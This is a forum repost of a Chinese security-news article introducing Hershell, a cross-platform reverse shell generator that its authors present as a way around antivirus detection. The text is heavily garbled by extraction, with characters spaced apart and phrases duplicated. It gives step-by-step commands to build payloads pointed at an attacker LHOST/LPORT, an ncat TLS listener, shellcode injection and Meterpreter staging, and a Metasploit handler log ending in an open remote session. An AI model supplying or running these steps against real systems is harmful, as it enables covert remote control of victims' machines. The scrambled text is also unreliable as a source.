搜索

[15048] 2020-02-23_Hershell：一款功能强大的跨平台反向Shell生成器

文档创建者：s7ckTeam
浏览次数：39
最后更新：2025-01-18
2020-02-23_Hershell：一款功能强大的跨平台反向Shell生成器 H e r s h e l l ： 一 款 功 能 强 大 的 跨 平 台 反 向 S h e l l 生 成 器 A l p h a _ h 4 c k   F r e e B u f   2 0 2 0 - 0 2 - 2 3 H e r s h e l l 是 一 款 功 能 强 大 的 跨 平 台 反 向 是 一 款 功 能 强 大 的 跨 平 台 反 向 S h e l l 生 成 器 ， 该 工 具 使 用 生 成 器 ， 该 工 具 使 用 G o 语 言 开 发 ， 基 于 语 言 开 发 ， 基 于 T C P 反 向 反 向 S h e l l 实 现 其 功 能 。 实 现 其 功 能 。 该 工 具 使 用 了 T L S 来 保 障 数 据 通 讯 的 安 全 性 ， 并 且 提 供 了 证 书 公 共 密 钥 指 纹 绑 定 功 能 来 防 止 通 信 数 据 被 拦 截 。 支 持 的 系 统 支 持 的 系 统 H e r s h e l l 的 当 前 版 本 支 持 以 下 操 作 系 统 ： W i n d o w s L i n u x m a c O S F r e e B S D 开 发 目 的 开 发 目 的 虽 然 M e t e r p r e t e r   P a y l o a d 有 时 也 能 用 ， 但 是 这 种 方 法 很 容 易 被 反 病 毒 产 品 检 测 到 。 因 此 ， H e r s h e l l 便 应 运 而 生 ， 它 可 以 给 我 们 提 供 一 个 基 于 T C P 的 反 向 S h e l l ， 而 且 能 够 支 持 各 种 不 同 的 操 作 系 统 平 台 。 工 具 使 用 工 具 使 用 & 依 赖 组 件 依 赖 组 件 H e r s h e l l 使 用 G o 语 言 开 发 ， 我 们 首 先 需 要 按 照 G o 官 方 手 册 【 点 我 获 取 】 在 我 们 的 设 备 上 完 成 G o 环 境 的 搭 建 ， 并 设 置 好 $ G O P A T H 环 境 变 量 。 接 下 来 ， 运 行 下 列 命 令 来 获 取 项 目 源 码 ： 构 建 构 建 P a y l o a d 在 构 建 P a y l o a d 时 ， 我 们 可 以 选 择 使 用 已 提 供 的 M a k e f i l e 来 完 成 构 建 。 此 时 ， 我 们 需 要 设 置 以 下 环 境 变 量 ： G O O S   :   目 标 操 作 系 统 G O A R C H   :   目 标 架 构 L H O S T   :   攻 击 者 I P 或 主 机 域 名 L P O R T   :   监 听 器 端 口 关 于 G O O S 和 G O A R C H 变 量 的 设 置 ， 可 以 参 考 这 篇 【 文 档 】 。 当 然 了 ， 我 们 也 在 M a k e f i l e 中 提 供 了 一 些 可 供 参 考 的 变 量 值 ： d e p e n d s   :   生 成 服 务 器 证 书 （ 反 向 S h e l l 需 要 使 用 到 ） w i n d o w s 3 2   :   构 建 一 个 3 2 位 W i n d o w s 可 执 行 程 序 （ P E   3 2 位 ） w i n d o w s 6 4   :   构 建 一 个 6 4 位 W i n d o w s 可 执 行 程 序 （ P E   6 4 位 ） g o   g e t   g i t h u b . c o m / l e s n u a g e s / h e r s h e l l
l i n u x 3 2   :   构 建 一 个 3 2 位 L i n u x 可 执 行 程 序 （ E L F   3 2 位 ） l i n u x 6 4   :   构 建 一 个 6 4 位 L i n u x 可 执 行 程 序 （ E L F   6 4 位 ） m a c o s 3 2   :   构 建 一 个 3 2 位 m a c O S 可 执 行 程 序 （ M a c h - O ） m a c o s 6 4   :   构 建 一 个 6 4 位 m a c O S 可 执 行 程 序 （ M a c h - O ） 针 对 上 述 列 表 中 的 目 标 平 台 ， 我 们 还 需 要 设 置 L H O S T 和 L P O R T 这 两 个 环 境 变 量 。 使 用 反 向 使 用 反 向 S h e l l 代 码 开 始 执 行 之 后 ， 工 具 将 给 我 们 提 供 一 个 远 程 S h e l l ， 它 是 一 个 自 定 义 的 交 互 式 S h e l l ， 允 许 我 们 通 过 W i n d o w s 上 的 c m d . e x e 或 U n i x 设 备 中 的 / b i n / s h 来 执 行 系 统 命 令 。 H e r s h e l l 支 持 的 部 分 特 定 命 令 如 下 表 所 示 ： r u n _ s h e l l   :   获 取 系 统 S h e l l i n j e c t   :   向 相 同 进 程 内 存 中 注 入 一 个 s h e l l c o d e （ B a s e 6 4 编 码 ） ， 并 执 行 代 码 。 m e t e r p r e t e r   [ t c p | h t t p | h t t p s ]   I P : P O R T   : 与 多 个 处 理 器 建 立 连 接 并 从 M e t a s p l o i t 获 取 第 二 阶 段 的 反 向 T C P 、 H T T P 或 H T T P S   M e t e r p r e t e r ， 然 后 在 内 存 中 执 行 S h e l l c o d e （ 该 功 能 目 前 仅 支 持 W i n d o w s 平 台 ） 。 e x i t   :   退 出 程 序 工 具 使 用 工 具 使 用 首 先 ， 我 们 需 要 使 用 下 面 的 命 令 生 成 一 个 有 效 的 证 书 ： 针 对 针 对 W i n d o w s 平 台 ： 平 台 ： 针 对 针 对 L i n u x 平 台 ： 平 台 ： 针 对 针 对 m a c O S 平 台 ： 平 台 ： 工 具 使 用 样 例 工 具 使 用 样 例 基 础 使 用 基 础 使 用 我 们 可 以 使 用 各 种 工 具 来 处 理 传 入 的 连 接 ， 比 如 说 ： s o c a t n c a t o p e n s s l 服 务 器 模 块 M e t a s p l o i t 的 各 种 h a n d l e r   ( p y t h o n / s h e l l r e v e r s e t c p _ s s l   p a y l o a d ) 下 面 是 n c a t 的 使 用 样 例 ： $   m a k e   d e p e n d s o p e n s s l   r e q   - s u b j   ' / C N = y o u r c n . c o m / O = Y o u r O r g / C = F R '   - n e w   - n e w k e y   r s a : 4 0 9 6   - d a y s   3 6 5 0   - n o d e s   - x 5 0 9   - k e y o u t   s e r v e r . k e y   - o u t   s e r v e r . p e m G e n e r a t i n g   a   4 0 9 6   b i t   R S A   p r i v a t e   k e y . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + + . . . . . + + w r i t i n g   n e w   p r i v a t e   k e y   t o   ' s e r v e r . k e y ' - - - - - c a t   s e r v e r . k e y   > >   s e r v e r . p e m #   P r e d i f i n e d   3 2   b i t   t a r g e t $   m a k e   w i n d o w s 3 2   L H O S T = 1 9 2 . 1 6 8 . 0 . 1 2   L P O R T = 1 2 3 4 #   P r e d i f i n e d   6 4   b i t   t a r g e t $   m a k e   w i n d o w s 6 4   L H O S T = 1 9 2 . 1 6 8 . 0 . 1 2   L P O R T = 1 2 3 4 #   P r e d i f i n e d   3 2   b i t   t a r g e t $   m a k e   l i n u x 3 2   L H O S T = 1 9 2 . 1 6 8 . 0 . 1 2   L P O R T = 1 2 3 4 #   P r e d i f i n e d   6 4   b i t   t a r g e t $   m a k e   l i n u x 6 4   L H O S T = 1 9 2 . 1 6 8 . 0 . 1 2   L P O R T = 1 2 3 4 $   m a k e   m a c o s   L H O S T = 1 9 2 . 1 6 8 . 0 . 1 2   L P O R T = 1 2 3 4 $   n c a t   - - s s l   - - s s l - c e r t   s e r v e r . p e m   - - s s l - k e y   s e r v e r . k e y   - l v p   1 2 3 4 N c a t :   V e r s i o n   7 . 6 0   (   h t t p s : / / n m a p . o r g / n c a t   ) N c a t :   L i s t e n i n g   o n   : : : 1 2 3 4
M e t e r p r e t e r 场 景 场 景 注 意 ： 目 前 该 功 能 仅 支 持 在 W i n d o w s 平 台 上 使 用 。 该 工 具 的 M e t e r p r e t e r 使 用 场 景 目 前 仅 支 持 下 列 P a y l o a d ： w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ h t t p w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p s w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ h t t p s 当 你 选 择 使 用 某 个 P a y l o a d 之 后 ， 别 忘 了 选 择 正 确 的 传 输 端 口 （ t c p 、 h t t p 或 h t t p s ） 。 M e t e r p r e t e r H a n d l e r 使 用 样 例 如 下 ： 接 下 来 ， 在 h e r s h e l l 中 ， 使 用 m e t e r p r e t e r 命 令 ： 此 时 ， 我 们 将 能 够 在 m s f c o n s o l e 中 获 取 到 新 的 M e t e r p r e t e r 会 话 ： 项 目 地 址 项 目 地 址 H e r s h e l l ： h t t p s : / / g i t h u b . c o m / l e s n u a g e s / h e r s h e l l * 参 考 来 源 ： 参 考 来 源 ： l e s n u a g e s ， ， F B 小 编 小 编 A l p h a _ h 4 c k 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M N c a t :   L i s t e n i n g   o n   0 . 0 . 0 . 0 : 1 2 3 4 N c a t :   C o n n e c t i o n   f r o m   1 7 2 . 1 6 . 1 2 2 . 1 0 5 . N c a t :   C o n n e c t i o n   f r o m   1 7 2 . 1 6 . 1 2 2 . 1 0 5 : 4 7 8 1 4 . [ h e r s h e l l ] >   w h o a m i d e s k t o p - 3 p v v 3 1 a l a b [ 1 4 : 1 2 : 4 5 ] [ 1 7 2 . 1 6 . 1 2 2 . 1 0 5 ] [ S e s s i o n s :   0 ] [ J o b s :   0 ]   >   u s e   e x p l o i t / m u l t i / h a n d l e r [ 1 4 : 1 2 : 5 7 ] [ 1 7 2 . 1 6 . 1 2 2 . 1 0 5 ] [ S e s s i o n s :   0 ] [ J o b s :   0 ]   e x p l o i t ( m u l t i / h a n d l e r )   >   s e t   p a y l o a d   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ h t t p s p a y l o a d   = >   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ h t t p s [ 1 4 : 1 3 : 1 2 ] [ 1 7 2 . 1 6 . 1 2 2 . 1 0 5 ] [ S e s s i o n s :   0 ] [ J o b s :   0 ]   e x p l o i t ( m u l t i / h a n d l e r )   >   s e t   l h o s t   1 7 2 . 1 6 . 1 2 2 . 1 0 5 l h o s t   = >   1 7 2 . 1 6 . 1 2 2 . 1 0 5 [ 1 4 : 1 3 : 1 5 ] [ 1 7 2 . 1 6 . 1 2 2 . 1 0 5 ] [ S e s s i o n s :   0 ] [ J o b s :   0 ]   e x p l o i t ( m u l t i / h a n d l e r )   >   s e t   l p o r t   8 4 4 3 l p o r t   = >   8 4 4 3 [ 1 4 : 1 3 : 1 7 ] [ 1 7 2 . 1 6 . 1 2 2 . 1 0 5 ] [ S e s s i o n s :   0 ] [ J o b s :   0 ]   e x p l o i t ( m u l t i / h a n d l e r )   >   s e t   H a n d l e r S S L C e r t   . / s e r v e r . p e m H a n d l e r S S L C e r t   = >   . / s e r v e r . p e m [ 1 4 : 1 3 : 2 6 ] [ 1 7 2 . 1 6 . 1 2 2 . 1 0 5 ] [ S e s s i o n s :   0 ] [ J o b s :   0 ]   e x p l o i t ( m u l t i / h a n d l e r )   >   e x p l o i t   - j [ * ]   E x p l o i t   r u n n i n g   a s   b a c k g r o u n d   j o b   0 . [ * ]   [ 2 0 1 8 . 0 1 . 2 9 - 1 4 : 1 3 : 2 9 ]   S t a r t e d   H T T P S   r e v e r s e   h a n d l e r   o n   h t t p s : / / 1 7 2 . 1 6 . 1 2 2 . 1 0 5 : 8 4 4 3 [ 1 4 : 1 3 : 2 9 ] [ 1 7 2 . 1 6 . 1 2 2 . 1 0 5 ] [ S e s s i o n s :   0 ] [ J o b s :   1 ]   e x p l o i t ( m u l t i / h a n d l e r )   > [ h e r s h e l l ] >   m e t e r p r e t e r   h t t p s   1 7 2 . 1 6 . 1 2 2 . 1 0 5 : 8 4 4 3 [ 1 4 : 1 3 : 2 9 ] [ 1 7 2 . 1 6 . 1 2 2 . 1 0 5 ] [ S e s s i o n s :   0 ] [ J o b s :   1 ]   e x p l o i t ( m u l t i / h a n d l e r )   > [ * ]   [ 2 0 1 8 . 0 1 . 2 9 - 1 4 : 1 6 : 4 4 ]   h t t p s : / / 1 7 2 . 1 6 . 1 2 2 . 1 0 5 : 8 4 4 3   h a n d l i n g   r e q u e s t   f r o m   1 7 2 . 1 6 . 1 2 2 . 1 0 5 ;   ( U U I D :   p q z l 9 t 5 k )   S t a g i n g   x 6 4   p a y l o a d   ( 2 0 6 9 3 7   b y t e s )   . . . [ * ]   M e t e r p r e t e r   s e s s i o n   1   o p e n e d   ( 1 7 2 . 1 6 . 1 2 2 . 1 0 5 : 8 4 4 3   - >   1 7 2 . 1 6 . 1 2 2 . 1 0 5 : 4 4 8 0 4 )   a t   2 0 1 8 - 0 1 - 2 9   1 4 : 1 6 : 4 4   + 0 1 0 0 [ 1 4 : 1 6 : 4 6 ] [ 1 7 2 . 1 6 . 1 2 2 . 1 0 5 ] [ S e s s i o n s :   1 ] [ J o b s :   1 ]   e x p l o i t ( m u l t i / h a n d l e r )   >   s e s s i o n s A c t i v e   s e s s i o n s = = = = = = = = = = = = = = =     I d     N a m e     T y p e                                           I n f o r m a t i o n                                                         C o n n e c t i o n     - -     - - - -     - - - -                                           - - - - - - - - - - -                                                         - - - - - - - - - -     1                   m e t e r p r e t e r   x 6 4 / w i n d o w s     D E S K T O P - 3 P V V 3 1 A l a b   @   D E S K T O P - 3 P V V 3 1 A     1 7 2 . 1 6 . 1 2 2 . 1 0 5 : 8 4 4 3   - >   1 7 2 . 1 6 . 1 2 2 . 1 0 5 : 4 4 8 0 4   ( 1 0 . 0 . 2 . 1 5 ) [ 1 4 : 1 6 : 4 8 ] [ 1 7 2 . 1 6 . 1 2 2 . 1 0 5 ] [ S e s s i o n s :   1 ] [ J o b s :   1 ]   e x p l o i t ( m u l t i / h a n d l e r )   >   s e s s i o n s   - i   1 [ * ]   S t a r t i n g   i n t e r a c t i o n   w i t h   1 . . . m e t e r p r e t e r   >   g e t u i d S e r v e r   u s e r n a m e :   D E S K T O P - 3 P V V 3 1 A l a b
精 彩 推 荐 精 彩 推 荐 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理